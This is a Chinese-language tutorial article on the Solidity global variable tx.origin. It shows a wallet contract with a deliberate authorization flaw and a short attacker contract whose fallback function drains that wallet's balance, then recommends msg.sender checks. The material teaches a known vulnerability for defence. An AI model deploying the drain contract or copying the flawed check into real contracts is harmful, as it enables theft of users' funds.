solidity智能合约中tx.origin的正确使用场景

简介: solidity智能合约中tx.origin的正确使用场景

简介

tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。在智能合约中使用此变量进行身份验证会使合约容易受到类似网络钓鱼的攻击。


但针对tx.origin的使用并不用谈虎色变,正确的使用还是有它的应用场景的。


漏洞详解

漏洞合约

在如下合约中使用到了tx.origin的判断。


pragma solidity ^0.4.11;
// 不要使用这个合约,其中包含一个 bug。
contract TxUserWallet {
    address owner;
    function TxUserWallet() public {
        owner = msg.sender;
    }
    function transferTo(address dest, uint amount) public {
        require(tx.origin == owner);
        dest.transfer(amount);
    }
}

上面的合约提供了构造函数(新版本中使用constructor)和转账方法。其中在转账方法transferTo中进行了owner的判断,这里用到了tx.origin。

攻击者合约

下面看一下攻击者的合约:

pragma solidity ^0.4.11;
interface TxUserWallet {
    function transferTo(address dest, uint amount) public;
}
contract TxAttackWallet {
    address owner;
    function TxAttackWallet() public {
        owner = msg.sender;
    }
    function () public {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }
}

攻击者创建一个上面的合约,然后通过各种骗术来欺骗你用正常合约(TxUserWallet)的拥有者的地址向该攻击合约(TxAttackWallet)转账。然后区块链会默认调用攻击合约的fallback方法,也就是最后没有方法名的方法,并执行转账操作。


而此时TxUserWallet合约里面的校验是可以正常通过的。因为tx.origin是最初发起交易的地址,也就是合约拥有者的地址。然后,地址里面的ether便被转到攻击者地址中。


使用提醒

tx.origin不应该用于智能合约的授权。更多的时候采用msg.sender == owner来进行判断。


但它也有自己使用的场景,比如想要拒绝外部合约调用当前合约则可使用require(tx.origin ==msg.sender)来进行实现。


目录
相关文章
|
安全 区块链
IPP Swap代币合约去中心化交易所系统开发实现技术详细/案例介绍/规则逻辑/方案项目/源码程序
  What is pledging mining?   Pledge mining refers to the process of locking digital currency onto the blockchain through specific security mechanisms to obtain profits.Investors obtain the benefits generated by network operations by selecting appropriate projects and locking in a corresponding numb
|
存储 区块链 数据安全/隐私保护
BSC链DAPP合约技术系统开发指南与需求
最重要的事情是为团队提供充分的理由说明去中心化是有意义的
|
监控 区块链
SocialFi社交化金融代币(Token)合约开发(Solidity语言源码编写)
下面是一个基本的SocialFi代币合约的示例,使用Solidity语言编写:
|
区块链
ERC20代币合约开发规则详解(源码示例)
ERC20代币合约是一个遵循ERC20标准的代币合约,它实现了代币转移、代币冻结、代币解锁等功能。作为一个通用的标准,ERC20代币合约可以被广泛应用于各种去中心化交易所、钱包、ICO等场景。
|
Go 数据安全/隐私保护
Solidity笔记-合约间的互相调用
Solidity笔记-合约间的互相调用
244 0
|
区块链
solidity智能合约如何判断地址为0或空
solidity智能合约如何判断地址为0或空
441 0
|
Java 区块链
solidity智能合约如何判断mapping值为空
solidity智能合约如何判断mapping值为空
818 0
|
区块链
solidity 智能合约之间的调用
solidity 智能合约之间的调用
644 0
|
数据安全/隐私保护
Solidity 文档--第三章:Solidity 编程实例
Solidity 文档--第三章:Solidity 编程实例
109 0
|
存储 Dart 安全
Solidity合约开发安全问题【TOP 10】
本文介绍CheckMarx安全研究小组通过扫描公开的以太坊智能合约所发现的Solidity智能合约开发中常见的十大安全问题,其中__未检查的外部调用__ 和 __高成本循环__ 分列排行榜前两名。该安全问题排行榜于2020年5月发布。
468 0
Solidity合约开发安全问题【TOP 10】